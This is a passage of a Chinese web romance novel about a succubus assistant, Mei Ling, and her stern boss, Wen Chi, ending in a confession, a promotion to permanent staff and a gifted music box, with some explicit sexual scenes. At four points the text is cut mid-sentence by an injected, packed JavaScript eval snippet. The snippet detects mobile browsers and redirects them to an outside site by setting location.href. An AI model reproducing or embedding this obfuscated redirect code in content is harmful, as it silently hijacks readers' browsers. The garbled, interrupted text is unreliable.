张晓华擦了擦额头上不存在的虚汗,心头一颤又一颤,“是!是!但小陵不是我们自己人,我觉得也不算违反——” “呵,小陵……”温迟轻笑,扔下文件,“明天我要见到你的辞呈。” 张晓华瞳孔一缩,“审查长!不要啊!别辞掉我!审查长……” 莓陵看了看已经走远的温迟,和还在地上跪着,已万念俱灰的张晓华,她初步推测她以后都见不到张晓华了。 张晓华似是明白了什么,转身看向莓陵,“小陵,你帮我求求审查长,我还不想走,你帮帮我好不好?以后我为你马首是瞻,好不好?求求你!” 莓陵起身,扭了扭酸痛的脖颈,很残忍道,“抱歉,我左右不了温队的决定,您以后还是不要在办公室吃别人口水了,免得下一份工作也丢了。” 张晓华:…… 这是吃口水的事吗?你到底有没有看懂情况!? 张晓华还想再说什么,温迟薄怒的声音传来,“莓陵!你还站在那里等死吗?过来!” 莓陵:“好。” 快步收拾好出门,发现温迟就在走廊不远处等她,她几步上前,轻声唤他,“温迟。” 这声温迟唤得又轻又柔,似和煦春风拂过,顷刻间让温迟心颤了颤。 难得的,温迟没有用讽刺的语气说话,反而低低嗯了一声,期待着后续。 他们在纯白的连廊里对视,一切都变得寂静。 直到莓陵开口,“早点休息。” 温迟:…… 就这? 他深呼吸,“你只想说这个?” 莓陵摇头,温迟挑眉示意她继续。 莓陵道,“还有,谢谢你温队。我今天终于可以早点下班了。” 温迟:…… “你——” “还有……”莓陵打了个哈欠,“别忘了明早有联邦组织部议会,您主持的,不可以缺席。还有,之前推了好几次贾委托人的饭局,我帮你约了明天中午。他对您最近工作繁忙表示理解,不在意您屡次爽约,明天中午的饭局订在——” “闭嘴!”温迟捏着眉头打断莓陵的汇报,正待他要说些什么,莓陵不知道从哪里拿出一束花。 浅紫色郁金香,一半开得艳,还有一半还未开放,包裹在透明蕾丝的薄纸中热闹又漂亮。 莓陵举着花道,“温迟,这束花送给你,欢迎回来。” 温迟:“为什么是郁金香?” 莓陵摸摸鼻子,有些心虚,“因为……我是从张部长办公室采的……” 准确来说,她把张晓华办公室的郁金香都薅秃了才凑出这一束花。 温迟冷哼一声,“你在追求我,却没空给我准备花?”他接过花束,打开窗户,把郁金香扔出去,“以后不要到处乱采花,脏死了。” 莓陵看着郁金香从十三楼坠下去,很可惜地嗯了一声,又懒懒打了个哈欠。 “傻子。”温迟骂了一句,又道,“滚回去休息。” 莓陵没动,“可是我感觉您好像有事情找我。” 温迟身型微滞,“我能有什么事情找你,只有我的手下能叫动你这位好助理。” 这话听着有点别扭,倒不是莓陵真听出什么言外之意来,而是她鼻尖嗅到温迟的味道变酸了—— 清新的柠檬酸,很好闻。 她正要说什么,温迟的电话响了。 他接起电话,“嗯,是我。” 电话那头说了些什么,温迟走到窗户边,“明天晚上……”他转头询问他的好助理,“明天晚上我有空吗?小助理。” 莓·小助理·陵点头,又摇头。 故意般,温迟无视莓陵摇头的动作,“有空,好,你安排就可以。” 这回轮到莓陵不开心了,温迟挑眉问她,“还有事?” 莓陵叹了口气,也的的确确困了,“没事,我先走了,明天见。” 温迟转身就走。 莓陵见他走了,心有不甘但也走了。这几天连轴工作,她真累了。 再说,温迟刚回来,肯定也累了。 大家都早点休息,有什么事明天再说吧。 温迟察觉到身后没有人跟过来,捏紧拳头又松开,一拳砸在旁边的墙壁上,“MD!我也是个傻子……” “天使温迟”冒出来,忧心忡忡,“小魅魔为什么这么冷淡,该不会是不追了吧。” 温迟脸色很黑,“她没说不追。” “天使温迟”反驳,“可是,你说她为什么那么冷淡。”他趴在桌上,不着边际回忆,“我想念在地牢的时候,她总亲我,还抱着我……” 想着想着,“天使温迟”忽然双眼冒金光,“温迟,要不然我们把她关在地牢里如何?那双白皙漂亮的手被困住的模样,一定很迷人……” “恶魔温迟”笑了,“有时候我怀疑到底谁才是恶魔。” 温迟眸光流转,叹了口气,“累了,滚。” “天使温迟”有点失落,挥挥手离开。 次日。 莓陵来到办公室的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502959|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一件事—— 给温迟送了一束花。 温迟没睡好,头也不抬,面无表情道:“有事说事。” “送给您!”莓陵举着白菊花笑了笑。 温迟抬了抬眼皮,见白菊花上还沾着晶莹的水珠,“你不知道菊花是送给死人的吗?” 莓陵想了想,认真看向温迟回答,“不知道……如果是这样,那您一定是最美的亡魂。” MD!真会撩! 温迟捏着纸张,垂眸,没动。 莓陵举着花,看着温迟,也没动。 她看得很认真,昨晚太疲惫,没有认真看温迟的脸,今天才发现他脸颊后方多了一个小伤口,结了痂又掉了,露出白色的皮肤。 这伤口没有增加他的缺陷,反而给他添了几分凌厉的美感。 温迟好像一直都是这样,俊逸又漂亮,有着刚柔并济的魅力。 “把你眼睛闭上!”温迟忽然开口,给莓陵吓了一跳,打了个激灵赶紧闭上眼。 失去视觉后,她感觉到手中的花被人拿走了,窸窸窣窣是衣服摩擦的声音,紧接着是脚步声,水流入瓶的声音,温迟好像把花放在花瓶里了。 “您买了花瓶?”莓陵记得温迟办公室没有花瓶。 温迟不说话。 莓陵就继续说:“我看您今天换了新衣服,黑色很衬您,很好看。花您喜欢吗?我特意起了个大早给您买的,老板说是最新鲜的,能养一周。我看到您脸颊上的伤了,是出任务时受的伤吗?” 温迟:“受伤又怎么了?” 他已经很小心了。 莓陵摇头,“受伤也很好看,您怎样都好看。您——” 温迟:“话太多。” 莓陵耸肩,“没办法,我太久没见您了。”她抿唇,声音清晰低柔,“我很想你,温迟。” 温迟:“昨晚也没见你这样……” 温迟开口的声音很低很哑,莓陵没听清,她顺势问:“您说什么?” 没听到温迟的声音,莓陵就继续说,“温迟,有没有人说你的味道很好闻?像……”她想了想,找到人类世界里最合适的食物来形容他,“像刚出炉的奶油泡芙,热热软软的捧在手心里,不用低头仔细闻,就能感觉到它的甜味灌满鼻腔,咬一口……” 她情不自禁咽了咽口水。 “嘴巴也闭上。”温迟说话的声音更哑了,紧随而来的味道变得愈发甜美诱魔。 可怜的魅魔小姐只能独自咽咽口水,默默忍受饥饿。 按照人类的标准,只有成为伴侣后才能品尝对方。 现在,还不行…… 莓陵感觉到脖子被一双大手捏住,温迟的味道扑面而来,紧接着薄且软的唇瓣吻上来,甜腻的味道弥漫至整个口腔。 好喝! 她太饿了。 都无需温迟攻略,主动伸出舌尖探索温迟的味道。 温迟又何尝不是同她一样渴求着。 信息素驱使着他对莓陵展开疯狂的掠夺。 品尝她、占有她、侵略她…… 她的一切,他都想要! 温迟顺着嘴角吻至莓陵的耳垂,唇瓣慢悠悠划过侧颈,径直向莓陵的后颈寻去。 锋利的犬牙迫不及待冒出来,渴望标记的冲动一刻都无法阻止。 倏然,一双手握住他的手,“温迟。”莓陵唤他的名字,亲吻过后的嗓音黏糊好听,“今天晚上我想约你,算是……约会,可以吗?” 温迟顿住,来了兴致,“我想你知道,我今天晚上有安排。” 莓陵舔着嘴角点头,“只是给聂部长梳理一下任务流程问题,并不着急。并且,您可以让贺部长去,并不一定需要您本人。” 温迟挑眉看她,“可是我已经答应他了。” 莓陵不说话——是不肯放弃的意思。 温迟笑了,“你想让我推掉已经定下来的会议和你出去约会。”他勾着莓陵的下巴,轻轻往上抬,对上流光的金眸,“莓陵,你用什么来交换?” 莓陵又舔了舔嘴唇,“今晚七点梧桐路京子座大厦,白竹居见可以吗?我稍后把包厢号发给你。”她顿了顿答,“至于交换条件,只要不违反人类规则的事,我都可以答应你。” 温迟:“可我就喜欢做些违反规则的事。喜欢一个人,就应该带她做点违法的事,不是吗?” 莓陵蹙眉:“……” 什么歪理? 温迟摆摆手,后退几步,“就用你今晚准备的活动和我交换。”他挑眉问,“你准备了什么?别告诉我是俗套的烛光晚餐、鲜花、烟花晚会三件套。” 莓陵瞪大眼:!! 他怎么都知道!! 完啦…… 默默拿出手机把烛光晚餐退掉,面不改色撒谎,“没有,绝对不是!” 温迟坐回椅子上,托着下巴看莓陵,声调慵懒,“莓陵,拿出你最喜欢的东西和我交换,我不接受任何敷衍。” 8. 吃八口 咚咚—— 敲门声响起。 “进。” 贺书贤把文件放在温迟桌上,“这是你上次让我调查的内容,我们确实错怪你那小助理了。她身份清清白白,幸好你留了心眼没给人玩死,不然很难对广大群众交代啊。” 温迟给白菊花修剪枝桠,“我像是那种不分清红皂白的人吗?” 贺书贤耸肩,“我怎么知道,毕竟,在电话里你听起来好像是要杀了她。” 温迟把花小心翼翼插入花瓶里,“我是想杀了她……” 和莓陵是不是卧底没关系。 只是处于生理本能的恐惧促使他杀掉莓陵。 “但……”温迟捡起掉落在桌上的白菊花瓣,握在手里,找了本干净的笔记本,将花瓣整齐夹在笔记本里。 “但您发现她其实是个很乖很好的女孩子,最后您明察秋毫,还了她一个清白!”黄欣忽然冒出来,接下温迟的话,“温队,您真是个大好人!难怪小莓陵总把这句话挂在嘴上。” 温迟合上日记本,追问,“她总说我是个好人?” 黄欣点头,“嗯嗯,她总说您人很好,很温柔,就像天使一样干净、纯……” 说到一半黄欣说不下去了,这些词和温迟有半毛钱关系吗? 她心虚瞥了眼温迟,发现他在笑,“温队,您说我要不要给小莓陵准备点礼物?” 算是对她之前用枪指着莓陵的歉礼。 温迟无所谓,“随便你。” 那小傻子估计早忘了。 “温迟,你看起来心情很好……”贺书贤走上前,仔细打量着温迟,“还换了身衣服,你不常穿白色。让我猜猜,是小莓陵约你了?” 黄欣:“约……约会?” 温迟:“只是吃个饭。” 贺书贤笑了,“只是吃个饭而已吗?我去金蛇那里就想问了,你对小莓陵是不是有意思?” 温迟打开文件,头也不抬,“你应该问她是不是对我有意思。” 黄欣捧脸,惊讶看向贺书贤,“我的天哪!该不会是小莓陵在追温队吧!!” 好可怜啊! 贺书贤耸耸肩,没接黄欣的话,放了块蛋糕在桌上,“这是小莓陵让我给你送的蛋糕。”他定睛看了看桌上的蛋糕,一字一句道,“你好像很喜欢这个口味,蔓越莓。” 特意把莓字咬得很重,再意味深长看向温迟,揣摩他的态度。 然温迟只是收了蛋糕,不咸不淡道,“很闲?需要我给点任务给你们?” 黄欣秒懂,“温队,我想起来我手里还有份总结报告没写,我先走了。” 贺书贤失笑摇头,“温迟啊,别栽了。” 说罢,他跟着黄欣后面。 握住门把手,往下压,拉开门。 白竹居里,贺书贤正对上立在门口的温迟。 黄欣还在他身后吐槽,“小太阳遇到大瘟神可算是倒大霉了,多可怜的小太阳,温——诶呦,贺书贤你干什么停下。” 她摸摸撞疼的额头,才看见温迟,“温队,您怎么在这里……” 温迟瞥了她一眼,没说话,能看得出来他心情很好。 贺书贤知道他心情为什么这么好。 因为整个白竹居的大厅被玫瑰花装饰了一遍,正对着门口的展厅位置挂着块爱心展板,巨幅展板中央写着几个大字—— 【WCLOVEYOU!】 从展板周围的装饰花环延伸出一条玫瑰花编织的路,指引着开门进来的人径直来到展板下方,那里用白色箭头指着下面的飘带,箭头上写着:“不要拉开我~” 颇有欲盖弥彰的意思。 “这是小太阳安排的?”黄欣探出个头,惊呼道,“这也太浪漫了!” 贺书贤:“我还真是没想到,这个布置……是联邦政府月薪三千的小职员支付的……” 黄欣用手肘推他,“你懂什么,小太阳这叫浪漫,你懂浪漫两个字怎么写吗?大直男!” 又一人推门进来,穿着联邦制服,见到此情此景哇了一声,“谁在白竹居表白啊,太浪漫了。” 这人身后跟着好几个人,都是联邦政府的工作人员,进来后都叽叽喳喳道,“好漂亮啊,这得花不少钱吧!” “到底是谁被表白啊,好幸福啊。” “审查长!” 一人笑道,“怎么可能是审查长,他长了张孤独终老的脸。” 倒不是说温迟长得不好看,而是太好看了。 像是不能亵渎的神仙,注定要与世隔绝,断绝情爱。 想象不出来,温迟坠入爱河的模样,即便他最近露面极多。 “我是说,审查长在那里!” 那人定睛一看,“嚯,还真是!真是给审查长表白的!”他指着展板上的两个首字母缩写,“WC,不就是……”温迟。 他不敢直呼温迟大名。 其他人也逐渐明白白竹居华丽的装饰到底是为了谁。 众人好奇,到底是何方神圣能拿下温迟这朵高岭之花。 借着今天的好气氛,众人胆大不少,“审查长!到底是谁啊,好好奇啊!” 温迟端着模样,不回答,反问贺书贤,“为什么这么多人?” 贺书贤:“今天是我们警卫部聚餐,地方就定在白竹居。” 黄欣看温迟脸色没变,轻声对问话那人道:“是我们部门的小助理,长得可漂亮了。是个特别乖的小太阳,圆圆的一张脸嫩得出水,就是人呆呆的,被欺负了也不知道。” 人群中有人一拍大腿,“我知道了!是那个金色头发的女孩子是不是!” 黄欣:“对!你认识?” 那人道:“嗯,之前张部长让她过来送了材料……” 漂亮的孩子总是招人好奇,“长什么样?” “我怎么没见过,好看吗?” 黄欣拍拍胸脯,“放心!绝对好看!就是个水水嫩嫩的小公主!” 小公主。 小傻子还差不多。 温迟听黄欣夸夸其辞,嘴角勾着,拿出手机拍了张现场照片,给莓陵发过去,配文:【俗气。】 【这就是你最喜欢的东西?】 【俗气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502960|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了。】 在场所有人都清楚,温迟能按约到这里来,说明他有同意的意思。 再看他如今的表情,明眼人都能看得出来,他很高兴。 至于为什么高兴,不言而喻。 众人忍不住开始八卦两人的爱情史了。 花前月下,此时不八卦更待何时。 黄欣又看了眼温迟,看他垂眸对手机笑,确认这个可以聊,清清嗓子,“你们不知道啊!第一次见小太阳的时候她可乖了,坐在银月招待室里等审查长,那副模样我看了都于心不忍,但审查长面不改色,对她爱答不理,然后……” 接下来,黄欣添油加醋,夸张、移情手法一起上,编织了个连温迟本人听起来都觉得离谱的爱情故事。 什么末路狂飙现真心…… 什么牢狱之灾露真情…… 还有霸道上司护娇妻…… 为爱翘了工作会议…… 这都什么和什么。 温迟硬着头皮提醒,“别胡说八道。” 黄欣擦擦眼泪,如泣如诉,“这都是真的!” 不可否认的是,这个爱情故事相当感人。 起码听到的人都落泪了。 故事讲完后,众人欢呼着祝温迟和莓陵久久。 人群中不知道是谁注意到了那根上面写着“不要拉下我~”的飘带,起哄道:“审查长,还不快点拉下飘带!” 其他人跟着起哄,“拉下来!拉下来!” 拉下来后,后面肯定站着一人,这人必定是莓陵。 像包装好的礼物,献给了心爱的人。 俗套、老掉牙的环节。 可……温迟确实很想见到她。 一刻都等不及。 捏住飘带的手微微用力。 铛—— 飘带坠落,钟声响起。 空中开始飘散花瓣,每一片花瓣上都写着WC的简写,烟雾机和鼓风机一齐运作。 音乐响起,伴随着悠扬的钢琴声,展板徐徐张开。 梦幻场景中出现一个人影,手捧鲜花,正抹着眼泪。 人声鼎沸,黄欣欢呼。 温迟的心跳得越来越快,手心冒汗。 烟雾散去。 露出一张,肥胖、陌生的大圆脸! 不是莓陵! 这…… 那男人穿着不合适的婚纱,上前抓住温迟的手,胸口的肥肉一抖一抖的,“我不娶卫城了!我要嫁给你!我们的爱情故事太感人了!我都不知道有这么感人!啊呜——” 温迟避之不及,脸色黑得不像话,“你是谁?” 男人从善如流,“老公,你这么快就不认识我了?你都拉下飘带了,不就是要娶我。” 温迟拨开男人,一退三步远,那人不肯罢休,上前抓住温迟,大喊一声,“老公!” 温迟冷了脸,“闭嘴!再多说一句,我让你永远开不了口!” 男人浑身汗毛倒立,又怂又贪心道:“老公,不行的话,我也可以做上面那个……” 温迟:…… 滚! 9. 吃九口 莓陵坐了公交,又转了三趟地铁,费了老大劲才到白竹居。 看了眼时间,六点五十五。 “呼,没迟到。” 进入白竹居的大门,鼻尖不自觉被001号包厢的香味吸引,看001号包厢的门敞开着,温迟就坐在花路尽头,双腿交叠,单手支着脑袋,面无表情看向她。 “好漂亮啊。”莓陵走进包厢内,瞬间被里面的装饰品吸引,“是您准备的吗?真的很漂亮啊。” 都是最新鲜的淡粉色玫瑰花,拼凑起淡粉色的梦。 “之前,不是我准备的。”温迟说这句话时,带了点咬牙切齿的味道,表情也同吃了苍蝇般难受,缓缓吐出一口浊气,“但现在……它是我的了。” 莓陵没听出他的情绪,她点点头,满眼欣赏,“好厉害!但……我们订的包厢是101……” 温迟脸色更黑了,“……这点,我也是刚、刚、才、知、道!” 莓陵:…… 有点不对劲。 又不知道是哪里不对劲。 用餐期间,温迟的脸色一直保持着五彩斑斓的黑,严格遵守三不原则——不说话,不表态,不评价。 连温迟身上的味道都变了。 变得不好闻。 直到晚饭结束,温迟才说了句话,“你就打算请我吃顿饭,其他的什么都没准备?” 莓陵有些心虚,“……准备了。” 但不知道是不是温迟喜欢的。 温迟双手环胸,往后靠在椅背上,“准备了什么?” 莓陵不安看了温迟一眼,起身,打开101包厢里的小门。 那本是个消防栓的位置,打开后只有两个灭火器,灭火器旁边是个狭窄的楼梯。 莓陵先踏入楼梯,转头对温迟道,“跟我来。” 她的眼睛很亮,灿如星河,等同于所有美好的事物。 鬼使神差,他跟了上去。 楼梯很窄,对温迟近一米九的身高来说非常不合适,弯着腰匍匐前行了几分钟后,入眼处是一处小阁楼。 “这里是白竹居的楼顶,我之前在这里打过零工,知道这里有个小阁楼。”莓陵爬上去,伸手去拉温迟。 温迟顺手拉住莓陵,把她整个人都拉下来,单手抱着她,另一只手撑着阁楼边缘,轻松上了阁楼。 莓陵真心夸赞,“真厉害!” 她熟练从隔间的夹缝里抽出一打报纸,铺展开,坐下拍了拍身边的位置,示意温迟过来坐。 温迟没动,“你带我爬这么高,让我等那么久,就是为了来这里吹冷风?” “不是吹冷风,虽然吹风也很有意思。”莓陵又拍了拍报纸,“来,你坐,别站在上面,很危险,这里还有栏杆可以靠着。” 温迟动了,往莓陵身边一坐。 宽敞的位置变得拥挤,莓陵的身边多了个人。 她很认真看了温迟一眼,笑了,“温迟,你真好看。” 温迟正要说什么,莓陵伸出食指放在唇边嘘了一声。 霎那间,日出坞夜间的灯一齐亮起。 光晕笼罩着莓陵,在她身后形成模糊的轮廓,一时间,温迟竟分不清,到底是夜灯更明亮,还是莓陵那双微弯的眸子更亮。 他不知道。 他只知道,后颈疼,胸口涨,牙齿痒。 忍不住把手塞进裤子口袋里。 莓陵没注意温迟的异状,她早已转过头,痴迷看着眼前的夜景,怀念般回忆,“我来人间的第一个晚上,就住在这个阁楼上,我从未见过这么漂亮的夜景。后来,我在白竹居打工,他们每天晚上都叫我住在这里,我很高兴,我在魔界从未住过这么好的地方。” 她顿了顿,转头看向温迟,“温迟,你说要拿我最喜欢的东西和你交换。”她指着日出坞的夜景,也指着日出坞的每一个地方,“这就是我最喜欢的东西。” 她声音很轻很缓,眼里荡漾着说不清的魅力和憧憬,“温迟,我喜欢人间。” 受不了。 完全受不了。 无论是莓陵充满生机的金眸,还是散发着馥郁芳香的信息素,亦或者她这个人本身就已经让温迟受不了。 他拉住莓陵,捏住她下巴,亲吻她。 掠夺她的信息素,品尝她的甜味,追逐她的舌尖。 莓陵没想到温迟这样突然,她也差点儿沉迷于温迟的味道难以自拔。 闹钟的震动声唤醒她的理智。 等等! 还有件东西。 她使劲推开温迟,“还有——” 话音未落,烟花在夜空炸开。 莓陵蹙眉,苦恼道:“怎么提前开始了……”捏住温迟的衣角,邀请他看烟花,“虽然您说烟花很俗套,但我还是觉得,人类表白是需要仪式感的。” 她拉起温迟的手,认真看着他眼睛,“温迟,我喜欢你,可以做我男朋友吗?” 温迟顺着她的手摸上她的腰,二话不说要吻下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502961|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莓陵捉住他的手,双臂交叉,攥住他的手禁锢在双臂之下,“先看烟花,花了我三个月工资呢。” 温迟扑哧一笑,这算哪门子禁锢。 这动作,莓陵已经坐在他怀里,而他正搂着她,低头便能亲吻到雪白的后颈。 一场烟花看得温迟心猿意马。 莓陵问他,“好看吗?我第一次看烟花,没想到那么贵,真的很漂亮啊。” 温迟眼神凝在莓陵脸上,慢半拍回答,“好看,很好看。” 看得他胸口又涨又疼。 所以,让他做一回畜生…… 捏住莓陵的下巴,强迫她扭头,压着毛茸茸的头往他胸口上靠。 温迟上身的衬衣不知何时散开,露出大半个胸膛,莓陵不小心压在他胸口,白衬衫上湿了一块。 “唔……”温迟低哼一声,痛苦蹙眉,“帮帮我。” 好香。 好香! 好香! 魅魔的视觉受限,鼻子很快找到香味的散发地,莓陵震惊盯着温迟的胸口,忍不住按了按,换来温迟又一声低呼,胸口更湿了。 “乖,别玩了,帮帮我。”温迟的声音沙哑极了,手掌托着她后脑勺朝他胸口按。 男性和乳汁。 这两个毫不相干的词同时出现在温迟身上。 莓陵的大脑完全无法思考这么复杂的医学问题。 况且饥饿感促使着她张开嘴,缓缓上前。 …… 烟花还在空中绽放。 “另外一边也……” “也要吗?” “……要。” “可是你看起来很难受,温迟……” “闭嘴,别叫我名字。” “温迟……唔——” …… 一个小时后。 莓陵晕晕乎乎从阁楼上下来,温迟慢条斯理扣着扣子,眼底还有阴郁之色,脸上却有着异样的满足感。 温迟掏出一张卡放在莓陵面前,莓陵舔着嘴角问,“这是什么??” 温迟捏着薄薄的卡片,塞进莓陵胸口透明的员工证件挂放处,烫金的莓陵二字露出来,下方写着一排小字——联邦审查部。 温迟欣赏片刻道,“恭喜你,转正了。” 莓陵看着正式员工卡,嘴角一咧,“谢谢您,我会好好干的。” 温迟弯腰,抚摸她的脸颊,顺着下颚线挑起她的下巴,“不用你,我好好干就行。” 10. 吃十口 “恭喜转正!” 莓陵从黄欣手里接过制服,鞠躬感谢,“谢谢你。” 正式员工制服上多了一个八音盒。 黄欣双手合十道,“抱歉啊,之前误会你是卧底,还用枪指着你,这是我给你的小小歉礼,希望你喜欢。” 莓陵目不转睛盯着八音盒,看着里面的小人转动时发出不同的声响,恨不得多一双眼睛挤进盒子里面看看,到底是什么构造。 黄欣扑哧一声笑出来,忍不住捏了捏莓陵的脸,“就说嘛,这么可爱的小太阳怎么会是卧底呢。” 卧底? “什么卧底?”莓陵的注意力这才从八音盒转移到黄欣脸上。 然黄欣完全被莓陵漂亮的脸蛋吸引了,没空回答莓陵的问题,伸手把人抱在怀里来回蹭,“宝宝,你怎么这么可爱,怎么约了个会,你皮肤变得更好了,脸也更好看了,浑身上下哪哪都是软的~” 莓陵被黄欣搂在怀里喘不过气。 魅魔一旦吸食过男性,最明显的,是身体外形上的变化。 当然,也有隐晦的变化—— 一些不可言说的私密变化。 无论是显性还是隐形,其目的只有一个—— 诱惑温迟。 只是,黄欣不知道为什么也被诱惑了。 她拉着莓陵说了许多话,还把昨晚温迟走错包厢,认错人的糗事说了一遍。 黄欣拍着大腿哈哈笑,“那男的还拉着温迟,非要让温迟和他在一起,你没看见温迟那个脸啊,黑的啊……” 还有这样的事。 难怪昨晚见到温迟的脸色那样难看。 原来,他也喜欢俗套的。 “劝你把手从我的人身上挪开。”温迟冷冷的声音在黄欣身后响起。 黄欣昨晚撞见了温迟的糗事,这会儿也不怕他,大胆在莓陵脸上亲了一口,顺手往她口袋里塞了个东西,“小太阳,等会儿见~”又转头对温迟道,“审查长,恭喜脱单!” 走廊上只剩下温迟和莓陵。 温迟走一步,莓陵跟着走一步。 莓陵抱着衣服问,“黄欣说您脱单了,您是答应我的表白了?” 温迟没好气夺过她怀里的衣服,“不然昨晚我会让你给我……”说到这里他说不下去了,耳尖红红的。 莓陵手里没了东西,浑身轻松,“太好了!我真高兴!”她几步凑上前去看温迟的眼,步伐轻快,“温迟,男朋友,男朋友,是温迟。” 温迟别开眼,轻笑骂了句,“小傻子。” 两人来到温迟办公室,温迟把正式员工的制服扔给莓陵,“去洗个澡,换上。” 莓陵盯着八音盒,头也不抬,“我洗过澡了。” 温迟威胁:“要我帮你洗?” 莓陵抬头,“可以吗?” “……不可以,自己去。”他上缴了莓陵的八音盒,特意强调,“把脸洗干净,脏死了。” 脸很脏吗? 洗了个澡后,换上制服,转身—— 转不过去…… 温迟掐住她的腰,按住她不许动,她没法转过身。 “温队——” “叫我名字。”温迟的声音很低。 “温迟。” 温迟的大手正丈量着她的身体,先从腰肢开始,慢慢往上,再从后腰划到肩膀…… 她听见温迟在她身后小声咒骂,“什么制服,设计这么露骨,联邦养了一群闲人。” 莓陵看着镜子里被温迟包裹的自己,还有那身被温迟称露骨的制服,不过是件普通的黑色制服裙,V领设计,短裙刚到膝盖上方一点,露出大腿。 正常又普通的制服。 只不过因为魅魔的体质原因,让温迟看着诱人而已。 温迟单手把她抱在怀里,丈量她的大腿,她下意识躲了躲。 “不让?”温迟攫住她的眼强调,“我是你男朋友。” 莓陵摇头,单纯看他,“可以,那你可以重一点,不然很痒。” “艹!”温迟骂了一句,把她扔沙发上,俯身亲她。 莓陵不饿。 不需要温迟。 唾液或者乳汁都不需要。 昨晚回去她查过了,温迟能够分泌乳汁这种情况非常特殊,应该是遗传性生理缺陷。 人类都不希望其他人提起他们的缺陷。 她会替温迟守住这个秘密。 心不在焉等温迟亲完,莓陵道,“等等,我可以拿我口袋里的东西吗?” 口袋里的东西…… 温迟微愣,有几分慌张,“你确定?” 她口袋里只有一个黄欣刚塞给她的T和纸巾。 那团纸巾看起来用过了,被揉成一团塞在口袋里。 犯不着再这种时候拿出来用。 温迟只能想到一种可能…… 莓陵推开他起身,“嗯,我马上回来。”她留给他一个吻,转身离开。 温迟也站起来,脱了外套,“……那我去洗个澡。” 莓陵奇怪,没多问,只当他也想洗澡,“嗯,你去吧。” 她从她上衣口袋里拿出那团纸巾,里面包着她今天早上捡到了的五分钱硬币—— 没人要,已经是老古董了。 拆开八音盒上的透明盖,把硬币放在小人的手里,位置刚刚好,再合上透明盖子也不会卡住,一切都很完美。 莓陵就这样趴在沙发上看着八音盒转了一圈又一圈。 等八音盒停止转动后,她又扭上几圈,放在桌上,看它旋转。 人类随便发明的精巧小玩意,能让莓陵玩上一周都不累。 “好看吗?” 温迟不知道什么时候站在她旁边,换了身丝质长袍,气质变得温柔乖顺。 莓陵不自觉看痴了,温迟比八音盒还要好看。 “好看。”莓陵答完又觉得这话有歧义,补了一句,“我是说你好看。” 听完这话,温迟脸色缓和许多,扫了眼让莓陵痴迷的八音盒,“你刚才去口袋里拿什么了?” 他没在周围看见T。 并且,莓陵似乎也没那个意思。 莓陵高兴举着八音盒,指尖点在硬币的位置,“这个,你看见了吗?是硬币!” 温迟:“你用纸巾包住放在你口袋里的东西就是这个?” “对呀!” 还对呀! 随手拿走莓陵的八音盒,温迟转身回浴室换衣服,“收缴,下班后还给你。” 莓陵无措捏住他的衣角,“温迟……” 她没做错什么,为什么收缴她的八音盒。 温迟:“撒娇也没用,还待在我这里做什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502962|170444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去工作!” 莓陵:……好吧。 午休间隙,温迟派人把八音盒送过来了,还顺带送了个更加精致的八音盒。 比黄欣送的那个更大,更精巧。 纯金镂空印花工艺,每一个空隙上都镶嵌着一朵花,不同的花束层层叠叠,凑成一个三层阁楼,阁楼的最顶端有淡紫色的仙鹤,鹤嘴上挂一小铃铛,转起来清脆作响,煞是好听。 每一朵花边上都镶嵌着金边,其精美和繁复的程度比起黄欣那个有过之而无不及。 甚至,黄欣送的那个八音盒上的小人手里硬币被换了个崭新的五分钱。 那枚旧的、生锈的五分被温迟放在八音盒下方。 莓陵应接不暇,不知道应该看崭新的硬币好,还是看温迟新送的八音盒好。 恨不得长出四只眼睛,都仔细看一遍。 她的注意力最终留在温迟送的八音盒上。 太美了。 和温迟本人一样华美。 迫不及待的,她拨通温迟的电话,“温迟。” 听筒那边很安静,温迟清冷的嗓音响起,“收到了?喜欢吗?” “喜欢!” 很喜欢! 